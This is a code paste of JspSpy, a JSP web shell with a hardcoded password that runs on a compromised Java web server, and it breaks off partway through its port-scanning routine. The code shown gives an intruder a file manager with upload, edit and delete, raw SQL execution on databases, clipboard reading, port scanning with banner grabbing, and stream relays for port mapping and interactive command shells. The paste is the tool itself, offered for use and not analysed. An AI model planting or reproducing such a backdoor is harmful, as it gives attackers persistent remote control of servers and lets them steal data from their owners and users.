· 9 years ago · Jun 19, 2017, 10:12 PM
1<%@page pageEncoding="utf-8"%>
2<%@page import="java.io.*"%>
3<%@page import="java.util.*"%>
4<%@page import="java.util.regex.*"%>
5<%@page import="java.sql.*"%>
6<%@page import="java.lang.reflect.*"%>
7<%@page import="java.nio.charset.*"%>
8<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
9<%@page import="java.text.*"%>
10<%@page import="java.net.*"%>
11<%@page import="java.util.zip.*"%>
12<%@page import="java.util.jar.*"%>
13<%@page import="java.awt.*"%>
14<%@page import="java.awt.image.*"%>
15<%@page import="javax.imageio.*"%>
16<%@page import="java.awt.datatransfer.DataFlavor"%>
17<%@page import="java.util.prefs.Preferences"%>
18<%!
19private static final String PW = "cibersec"; //password
20private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
21private static final String REQUEST_CHARSET = "ISO-8859-1";
22private static final String PAGE_CHARSET = "UTF-8";
23private static final String CURRENT_DIR = "currentdir";
24private static final String MSG = "SHOWMSG";
25private static final String PORT_MAP = "PMSA";
26private static final String DBO = "DBO";
27private static final String SHELL_ONLINE = "SHELL_ONLINE";
28private static final String ENTER = "ENTER_FILE";
29private static final String ENTER_MSG = "ENTER_FILE_MSG";
30private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
31private static final String SESSION_O = "SESSION_O";
32private static String SHELL_NAME = "";
33private static String WEB_ROOT = null;
34private static String SHELL_DIR = null;
35public static Map ins = new HashMap();
36private static boolean ISLINUX = false;
37
38private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
39private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
40
41private static class MyRequest extends HttpServletRequestWrapper {
42public MyRequest(HttpServletRequest req) {
43super(req);
44}
45public String getParameter(String name) {
46try {
47String value = super.getParameter(name);
48if (name == null)
49return null;
50return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
51} catch (Exception e) {
52return null;
53}
54}
55}
56private static class SpyClassLoader extends ClassLoader{
57public SpyClassLoader() {
58}
59public Class defineClass(String name,byte[] b) {
60return super.defineClass(name,b,0,b.length - 2);
61}
62}
63private static class DBOperator{
64private Connection conn = null;
65private Statement stmt = null;
66private String driver;
67private String url;
68private String uid;
69private String pwd;
70public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
71this(driver,url,uid,pwd,false);
72}
73public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
74Class.forName(driver);
75if (connect)
76this.conn = DriverManager.getConnection(url,uid,pwd);
77this.url = url;
78this.driver = driver;
79this.uid = uid;
80this.pwd = pwd;
81}
82public void connect() throws Exception{
83this.conn = DriverManager.getConnection(url,uid,pwd);
84}
85public Object execute(String sql) throws Exception {
86if (isValid()) {
87stmt = conn.createStatement();
88if (stmt.execute(sql)) {
89return stmt.getResultSet();
90} else {
91return ""+stmt.getUpdateCount();
92}
93}
94throw new Exception("Connection is inValid.");
95}
96public void closeStmt() throws Exception{
97if (this.stmt != null)
98stmt.close();
99}
100public boolean isValid() throws Exception {
101return conn != null && !conn.isClosed();
102}
103public void close() throws Exception {
104if (isValid()) {
105closeStmt();
106conn.close();
107}
108}
109public boolean equals(Object o) {
110if (o instanceof DBOperator) {
111DBOperator dbo = (DBOperator)o;
112return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
113}
114return false;
115}
116public Connection getConn(){
117return this.conn;
118}
119}
120private static class StreamConnector extends Thread {
121private InputStream is;
122private OutputStream os;
123public StreamConnector( InputStream is, OutputStream os ){
124this.is = is;
125this.os = os;
126}
127public void run(){
128BufferedReader in = null;
129BufferedWriter out = null;
130try{
131in = new BufferedReader( new InputStreamReader(this.is));
132out = new BufferedWriter( new OutputStreamWriter(this.os));
133char buffer[] = new char[8192];
134int length;
135while((length = in.read( buffer, 0, buffer.length ))>0){
136out.write( buffer, 0, length );
137out.flush();
138}
139} catch(Exception e){}
140try{
141if(in != null)
142in.close();
143if(out != null)
144out.close();
145} catch( Exception e ){}
146}
147public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
148new Thread(new Runnable(){
149public void run(){
150while (true) {
151try{
152byte[] data = new byte[100];
153int len = localIn.read(data);
154while (len != -1) {
155remoteOut.write(data,0,len);
156len = localIn.read(data);
157}
158}catch (Exception e) {
159break;
160}
161}
162}
163}).start();
164}
165public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
166new Thread(new Runnable(){
167public void run(){
168while(true) {
169try{
170byte[] data = new byte[100];
171int len = remoteIn.read(data);
172while (len != -1) {
173localOut.write(data,0,len);
174len = remoteIn.read(data);
175}
176}catch (Exception e) {
177try{
178soc.close();
179remoteSoc.close();
180}catch(Exception ex) {
181}
182break;
183}
184}
185}
186}).start();
187}
188}
189private static class EnterFile extends File{
190private ZipFile zf = null;
191private ZipEntry entry = null;
192private boolean isDirectory = false;
193private String absolutePath = null;
194public void setEntry(ZipEntry e) {
195this.entry = e;
196}
197public void setAbsolutePath(String p) {
198this.absolutePath = p;
199}
200public void close() throws Exception{
201this.zf.close();
202}
203public void setZf(String p) throws Exception{
204if (p.toLowerCase().endsWith(".jar"))
205this.zf = new JarFile(p);
206else
207this.zf = new ZipFile(p);
208}
209public EnterFile(File parent, String child) {
210super(parent,child);
211}
212public EnterFile(String pathname) {
213super(pathname);
214}
215public EnterFile(String pathname,boolean isDir) {
216this(pathname);
217this.isDirectory = isDir;
218}
219public EnterFile(String parent, String child) {
220super(parent,child);
221}
222public EnterFile(URI uri) {
223super(uri);
224}
225public boolean exists(){
226return new File(this.zf.getName()).exists();
227}
228public File[] listFiles() {
229java.util.List list = new ArrayList();
230java.util.List handled = new ArrayList();
231String currentDir = super.getPath();
232currentDir = currentDir.replace('\\','/');
233if (currentDir.indexOf("/") == 0)
234{
235if (currentDir.length() > 1)
236currentDir = currentDir.substring(1);
237else
238currentDir = "";
239}
240Enumeration e = this.zf.entries();
241while (e.hasMoreElements())
242{
243ZipEntry entry = (ZipEntry)e.nextElement();
244String eName = entry.getName();
245if (this.zf instanceof JarFile) {
246if (!entry.isDirectory()){
247EnterFile ef = new EnterFile(eName);
248ef.setEntry(entry);
249try{
250ef.setZf(this.zf.getName());
251}catch(Exception ex) {
252}
253list.add(ef);
254}
255} else {
256if (currentDir.equals("")) {
257//zip root directory
258if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
259{
260EnterFile ef = new EnterFile(eName.replaceAll("/",""));
261handled.add(eName.replaceAll("/",""));
262ef.setEntry(entry);
263list.add(ef);
264} else {
265if (eName.indexOf("/") != -1) {
266String tmp = eName.substring(0,eName.indexOf("/"));
267if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
268EnterFile ef = new EnterFile(tmp,true);
269ef.setEntry(entry);
270list.add(ef);
271handled.add(tmp);
272}
273}
274}
275} else {
276if (eName.startsWith(currentDir)) {
277if (eName.matches(currentDir+"/[^/]+/?$")) {
278//file.
279EnterFile ef = new EnterFile(eName);
280ef.setEntry(entry);
281list.add(ef);
282if (eName.endsWith("/")) {
283String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
284tmp = tmp.substring(1,tmp.length()-1);
285handled.add(tmp);
286}
287} else {
288//dir
289try {
290String tmp = eName.substring(currentDir.length()+1);
291tmp = tmp.substring(0,tmp.indexOf('/'));
292if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
293EnterFile ef = new EnterFile(tmp,true);
294ef.setAbsolutePath(currentDir+"/"+tmp);
295ef.setEntry(entry);
296list.add(ef);
297handled.add(tmp);
298}
299} catch (Exception ex) {
300}
301}
302}
303}
304}
305}
306return (File[])list.toArray(new File[0]);
307}
308public boolean isDirectory(){
309return this.entry.isDirectory() || this.isDirectory;
310}
311public String getParent(){
312return "";
313}
314public String getAbsolutePath(){
315return absolutePath != null ? absolutePath : super.getPath();
316}
317public String getName(){
318if (this.zf instanceof JarFile) {
319return this.getAbsolutePath();
320} else {
321return super.getName();
322}
323}
324public long lastModified(){
325return entry.getTime();
326}
327public boolean canRead(){
328return false;
329}
330public boolean canWrite(){
331return false;
332}
333public boolean canExecute(){
334return false;
335}
336public long length(){
337return entry.getSize();
338}
339}
340private static class OnLineProcess {
341private String cmd = "first";
342private Process pro;
343public OnLineProcess(Process p){
344this.pro = p;
345}
346public void setPro(Process p) {
347this.pro = p;
348}
349public void setCmd(String c){
350this.cmd = c;
351}
352public String getCmd(){
353return this.cmd;
354}
355public Process getPro(){
356return this.pro;
357}
358public void stop(){
359this.pro.destroy();
360}
361}
362private static class OnLineConnector extends Thread {
363private OnLineProcess ol = null;
364private InputStream is;
365private OutputStream os;
366private String name;
367public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
368this.is = is;
369this.os = os;
370this.name = name;
371this.ol = ol;
372}
373public void run(){
374BufferedReader in = null;
375BufferedWriter out = null;
376try{
377in = new BufferedReader( new InputStreamReader(this.is));
378out = new BufferedWriter( new OutputStreamWriter(this.os));
379char buffer[] = new char[128];
380if(this.name.equals("exeRclientO")) {
381//from exe to client
382int length = 0;
383while((length = in.read( buffer, 0, buffer.length ))>0){
384String str = new String(buffer, 0, length);
385str = str.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
386str = str.replaceAll(""+(char)13+(char)10,"<br/>");
387str = str.replaceAll("\n","<br/>");
388out.write(str.toCharArray(), 0, str.length());
389out.flush();
390}
391} else {
392//from client to exe
393while(true) {
394while(this.ol.getCmd() == null) {
395Thread.sleep(500);
396}
397if (this.ol.getCmd().equals("first")) {
398this.ol.setCmd(null);
399continue;
400}
401this.ol.setCmd(this.ol.getCmd() + (char)10);
402char[] arr = this.ol.getCmd().toCharArray();
403out.write(arr,0,arr.length);
404out.flush();
405this.ol.setCmd(null);
406}
407}
408} catch(Exception e){
409}
410try{
411if(in != null)
412in.close();
413if(out != null)
414out.close();
415} catch( Exception e ){
416}
417}
418}
419private static class Table{
420private ArrayList rows = null;
421private boolean echoTableTag = false;
422public void setEchoTableTag(boolean v) {
423this.echoTableTag = v;
424}
425public Table(){
426this.rows = new ArrayList();
427}
428public void addRow(Row r) {
429this.rows.add(r);
430}
431public String toString(){
432StringBuffer html = new StringBuffer();
433if (echoTableTag)
434html.append("<table>");
435for (int i = 0;i<rows.size();i++) {
436 Row r=(Row)rows.get(i);
437html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
438 ArrayList columns = r.getColumns();
439for (int a = 0;a<columns.size();a++) {
440 Column c = (Column)columns.get(a);
441html.append("<td nowrap>");
442String vv = Util.htmlEncode(Util.getStr(c.getValue()));
443if (vv.equals(""))
444vv = " ";
445html.append(vv);
446html.append("</td>");
447}
448html.append("</tr>");
449}
450if (echoTableTag)
451html.append("</table>");
452return html.toString();
453}
454public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
455StringBuffer table = new StringBuffer();
456ResultSetMetaData meta = rs.getMetaData();
457int count = meta.getColumnCount();
458if (!op)
459table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
460else
461table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
462table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
463table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
464for (int i = 1;i<=count;i++) {
465table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
466}
467if (op)
468table.append("<td> </td>");
469table.append("</tr>");
470while (rs.next()) {
471String tbName = null;
472table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
473for (int i = 1;i<=count;i++) {
474String v = rs.getString(i);
475if (i == 3)
476tbName = v;
477table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
478}
479if (op)
480table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
481table.append("</tr>");
482}
483table.append("</table><br/>");
484return table.toString();
485}
486}
487private static class Row{
488private ArrayList cols = null;
489public Row(){
490this.cols = new ArrayList();
491}
492public void addColumn(Column n) {
493this.cols.add(n);
494}
495public ArrayList getColumns(){
496return this.cols;
497}
498}
499private static class Column{
500private String value;
501public Column(String v){
502this.value = v;
503}
504public String getValue(){
505return this.value;
506}
507}
508private static class Util{
509public static boolean isEmpty(String s) {
510return s == null || s.trim().equals("");
511}
512public static boolean isEmpty(Object o) {
513return o == null || isEmpty(o.toString());
514}
515public static String getSize(long size,char danwei) {
516if (danwei == 'M') {
517double v = formatNumber(size / 1024.0 / 1024.0,2);
518if (v > 1024) {
519return getSize(size,'G');
520}else {
521return v + "M";
522}
523} else if (danwei == 'G') {
524return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
525} else if (danwei == 'K') {
526double v = formatNumber(size / 1024.0,2);
527if (v > 1024) {
528return getSize(size,'M');
529} else {
530return v + "K";
531}
532} else if (danwei == 'B') {
533if (size > 1024) {
534return getSize(size,'K');
535}else {
536return size + "B";
537}
538}
539return ""+0+danwei;
540}
541public static boolean exists(String[] arr,String v) {
542for (int i =0;i<arr.length;i++) {
543if (v.equals(arr[i])) {
544return true;
545}
546}
547return false;
548}
549public static double formatNumber(double value,int l) {
550NumberFormat format = NumberFormat.getInstance();
551format.setMaximumFractionDigits(l);
552format.setGroupingUsed(false);
553return new Double(format.format(value)).doubleValue();
554}
555public static boolean isInteger(String v) {
556if (isEmpty(v))
557return false;
558return v.matches("^\\d+$");
559}
560public static String formatDate(long time) {
561SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
562return format.format(new java.util.Date(time));
563}
564public static String convertPath(String path) {
565return path != null ? path.replace('\\','/') : "";
566}
567public static String htmlEncode(String v) {
568if (isEmpty(v))
569return "";
570return v.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
571}
572public static String getStr(String s) {
573return s == null ? "" :s;
574}
575public static String null2Nbsp(String s) {
576if (s == null)
577s = " ";
578return s;
579}
580public static String getStr(Object s) {
581return s == null ? "" :s.toString();
582}
583public static String exec(String regex, String str, int group) {
584Pattern pat = Pattern.compile(regex);
585Matcher m = pat.matcher(str);
586if (m.find())
587return m.group(group);
588return null;
589}
590public static void outMsg(Writer out,String msg) throws Exception {
591outMsg(out,msg,"center");
592}
593public static void outMsg(Writer out,String msg,String align) throws Exception {
594out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
595}
596public static String highLight(String str) {
597str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
598str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
599return str;
600}
601}
602private static class UploadBean {
603private String fileName = null;
604private String suffix = null;
605private String savePath = "";
606private ServletInputStream sis = null;
607private OutputStream targetOutput = null;
608private byte[] b = new byte[1024];
609public void setTargetOutput(OutputStream stream) {
610this.targetOutput = stream;
611}
612public UploadBean() {
613}
614public void setSavePath(String path) {
615this.savePath = path;
616}
617public String getFileName(){
618return this.fileName;
619}
620public void parseRequest(HttpServletRequest request) throws IOException {
621sis = request.getInputStream();
622int a = 0;
623int k = 0;
624String s = "";
625while ((a = sis.readLine(b,0,b.length))!= -1) {
626s = new String(b, 0, a,PAGE_CHARSET);
627if ((k = s.indexOf("filename=\""))!= -1) {
628s = s.substring(k + 10);
629k = s.indexOf("\"");
630s = s.substring(0, k);
631File tF = new File(s);
632if (tF.isAbsolute()) {
633fileName = tF.getName();
634} else {
635fileName = s;
636}
637k = s.lastIndexOf(".");
638suffix = s.substring(k + 1);
639upload();
640}
641}
642}
643private void upload() throws IOException{
644try {
645OutputStream out = null;
646if (this.targetOutput != null)
647out = this.targetOutput;
648else
649out = new FileOutputStream(new File(savePath,fileName));
650int a = 0;
651int k = 0;
652String s = "";
653while ((a = sis.readLine(b,0,b.length))!=-1) {
654s = new String(b, 0, a);
655if ((k = s.indexOf("Content-Type:"))!=-1) {
656break;
657}
658}
659sis.readLine(b,0,b.length);
660while ((a = sis.readLine(b,0,b.length)) != -1) {
661s = new String(b, 0, a);
662if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
663break;
664}
665out.write(b, 0, a);
666}
667if (out instanceof FileOutputStream)
668out.close();
669} catch (IOException ioe) {
670throw ioe;
671}
672}
673}
674%>
675<%
676SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
677String myAbsolutePath = application.getRealPath(request.getServletPath());
678if (Util.isEmpty(myAbsolutePath)) {//for weblogic
679SHELL_NAME = request.getServletPath();
680myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
681SHELL_NAME=request.getContextPath()+SHELL_NAME;
682WEB_ROOT = new File(application.getResource("/").getPath()).toString();
683} else {
684WEB_ROOT = application.getRealPath("/");
685}
686SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
687if (SHELL_DIR.indexOf('/') == 0)
688ISLINUX = true;
689else
690ISLINUX = false;
691if (session.getAttribute(CURRENT_DIR) == null)
692session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
693request = new MyRequest(request);
694if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
695String o = request.getParameter("o");
696if (o != null && o.equals("login")) {
697((Invoker)ins.get("login")).invoke(request,response,session);
698return;
699} else if (o != null && o.equals("vLogin")) {
700((Invoker)ins.get("vLogin")).invoke(request,response,session);
701return;
702} else {
703((Invoker)ins.get("vLogin")).invoke(request,response,session);
704return;
705}
706}
707%>
708<%!
709private static interface Invoker {
710public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
711public boolean doBefore();
712public boolean doAfter();
713}
714private static class DefaultInvoker implements Invoker{
715public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
716}
717public boolean doBefore(){
718return true;
719}
720public boolean doAfter() {
721return true;
722}
723}
724private static class ScriptInvoker extends DefaultInvoker{
725public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
726try {
727PrintWriter out = response.getWriter();
728out.println("<script type=\"text/javascript\">"+
729" String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
730" function fso(obj) {"+
731" this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
732" this.filename = obj.filename;"+
733" this.path = obj.path;"+
734" this.filetype = obj.filetype;"+
735" this.charset = obj.charset;"+
736" };"+
737" fso.prototype = {"+
738" copy:function(){"+
739" var path = prompt('Copy To : ',this.path);"+
740" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
741" doPost({o:'copy',src:this.path,to:path});"+
742" },"+
743" move:function() {"+
744" var path =prompt('Move To : ',this.path);"+
745" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
746" doPost({o:'move',src:this.path,to:path})"+
747" },"+
748" vEdit:function() {"+
749" if (!this.charset)"+
750" doPost({o:'vEdit',filepath:this.path});"+
751" else"+
752" doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
753" },"+
754" down:function() {"+
755" doPost({o:'down',path:this.path})"+
756" },"+
757" removedir:function() {"+
758" if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
759" doPost({o:'removedir',dir:this.path});"+
760" },"+
761" mkdir:function() {"+
762" var name = prompt('Input New Directory Name','');"+
763" if (name == null || name.trim().length == 0)return;"+
764" doPost({o:'mkdir',name:name});"+
765" },"+
766" subdir:function(out) {"+
767" doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
768" },"+
769" parent:function() {"+
770" var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
771" doPost({o:'filelist',folder:parent})"+
772" },"+
773" createFile:function() {"+
774" var path = prompt('Input New File Name','');"+
775" if (path == null || path.trim().length == 0) return;"+
776" doPost({o:'vCreateFile',filepath:path})"+
777" },"+
778" deleteBatch:function() {"+
779" if (!confirm('Are You Sure To Delete These Files?')) return;"+
780" var selected = new Array();"+
781" var inputs = document.getElementsByTagName('input');"+
782" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
783" if (selected.length == 0) {alert('No File Selected');return;}"+
784" doPost({o:'deleteBatch',files:selected.join(',')})"+
785" },"+
786" packBatch:function() {"+
787" var selected = new Array();"+
788" var inputs = document.getElementsByTagName('input');"+
789" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
790" if (selected.length == 0) {alert('No File Selected');return;}"+
791" var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
792" if (savefilename == null || savefilename.trim().length == 0)return;"+
793" doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
794" },"+
795" pack:function(showconfig) {"+
796" if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
797" var tmpName = '';"+
798" if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
799" else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
800" tmpName += '.zip';"+
801" var path = this.path;"+
802" var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
803" if (name == null || path.trim().length == 0) return;"+
804" doPost({o:'pack',packedfile:path,savefilename:name})"+
805" },"+
806" vEditProperty:function() {"+
807" var path = this.path;"+
808" doPost({o:'vEditProperty',filepath:path})"+
809" },"+
810" unpack:function() {"+
811" var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
812" if (path == null || path.trim().length == 0) return;"+
813" doPost({o:'unpack',savepath:path,zipfile:this.path})"+
814" },"+
815" enter:function() {"+
816" doPost({o:'enter',filepath:this.path})"+
817" }"+
818" };"+
819" function doPost(obj) {"+
820" var form = document.forms[\"doForm\"];"+
821" var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
822" for (var pro in obj)"+
823" {"+
824" var input = document.createElement(\"input\");"+
825" input.type = \"hidden\";"+
826" input.name = pro;"+
827" input.value = obj[pro];"+
828" form.appendChild(input);"+
829" }"+
830" form.submit();"+
831" }"+
832"</script>");
833
834} catch (Exception e) {
835
836throw e ;
837}
838}
839}
840private static class BeforeInvoker extends DefaultInvoker {
841public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
842try {
843PrintWriter out = response.getWriter();
844out.println("<html><head><title>JspSpy</title><style type=\"text/css\">"+
845"body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
846".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
847".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
848".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
849"a {color: #00f;text-decoration:underline;}"+
850"a:hover{color: #f00;text-decoration:none;}"+
851".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
852".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
853".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
854".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
855".head td span{font-weight:normal;}"+
856"form{margin:0;padding:0;}"+
857"h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
858"ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
859"u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
860".secho{height:400px;width:100%;overflow:auto;border:none}"+
861"hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
862"</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
863} catch (Exception e) {
864
865throw e ;
866}
867}
868}
869private static class AfterInvoker extends DefaultInvoker {
870public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
871try {
872PrintWriter out = response.getWriter();
873out.println("</body></html>");
874} catch (Exception e) {
875
876throw e ;
877}
878}
879}
880private static class DeleteBatchInvoker extends DefaultInvoker {
881public boolean doBefore(){return false;}
882public boolean doAfter(){return false;}
883public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
884try {
885String files = request.getParameter("files");
886int success = 0;
887int failed = 0;
888if (!Util.isEmpty(files)) {
889String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
890String[] arr = files.split(",");
891for (int i = 0;i<arr.length;i++) {
892 String fs = arr[i];
893File f = new File(currentDir,fs);
894if(f.delete())
895success += 1;
896else
897failed += 1;
898}
899}
900JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
901response.sendRedirect(SHELL_NAME);
902} catch (Exception e) {
903
904throw e ;
905}
906}
907}
908private static class ClipBoardInvoker extends DefaultInvoker {
909public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
910try {
911PrintWriter out = response.getWriter();
912out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
913" <tr>"+
914" <td>"+
915" <h2>System Clipboard »</h2>"+
916"<p><pre>");
917try{
918out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
919}catch (Exception ex) {
920out.println("ClipBoard is Empty Or Is Not Text Data !");
921}
922out.println("</pre>"+
923" <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
924" </p>"+
925" </td>"+
926" </tr>"+
927"</table>");
928} catch (Exception e) {
929
930throw e ;
931}
932}
933}
934private static class VPortScanInvoker extends DefaultInvoker {
935public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
936try {
937PrintWriter out = response.getWriter();
938String ip = request.getParameter("ip");
939String ports = request.getParameter("ports");
940String timeout = request.getParameter("timeout");
941String banner = request.getParameter("banner");
942if (Util.isEmpty(ip))
943ip = "127.0.0.1";
944if (Util.isEmpty(ports))
945ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
946if (Util.isEmpty(timeout))
947timeout = "2";
948out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
949"<h2 id=\"Bin_H2_Title\">PortScan >></h2>"+
950"<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
951"<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
952"IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
953"</p>"+
954"</form></div>"+
955"</td></tr></table>");
956} catch (Exception e) {
957
958throw e ;
959}
960}
961}
962private static class PortScanInvoker extends DefaultInvoker {
963public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
964try {
965PrintWriter out = response.getWriter();
966((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
967out.println("<hr/>");
968String ip = request.getParameter("ip");
969String ports = request.getParameter("ports");
970String timeout = request.getParameter("timeout");
971String banner = request.getParameter("banner");
972int iTimeout = 0;
973if (Util.isEmpty(ip) || Util.isEmpty(ports))
974return;
975if (!Util.isInteger(timeout)) {
976timeout = "2";
977}
978iTimeout = Integer.parseInt(timeout);
979Map rs = new LinkedHashMap();
980String[] portArr = ports.split(",");
981for (int i =0;i<portArr.length;i++) {
982 String port = portArr[i];
983BufferedReader r = null;
984try {
985Socket s = new Socket();
986s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
987s.setSoTimeout(iTimeout);
988if (!Util.isEmpty(banner)) {
989r = new BufferedReader(new InputStreamReader(s.getInputStream()));
990StringBuffer sb = new StringBuffer();
991String b = r.readLine();
992while (b != null) {
993sb.append(b+" ");
994try {
995b = r.readLine();
996} catch (Exception e) {
997break;
998}
999}
1000rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
1001r.close();
1002} else {
1003rs.put(port,"Open");
1004}
1005s.close();
1006} catch (Exception e) {
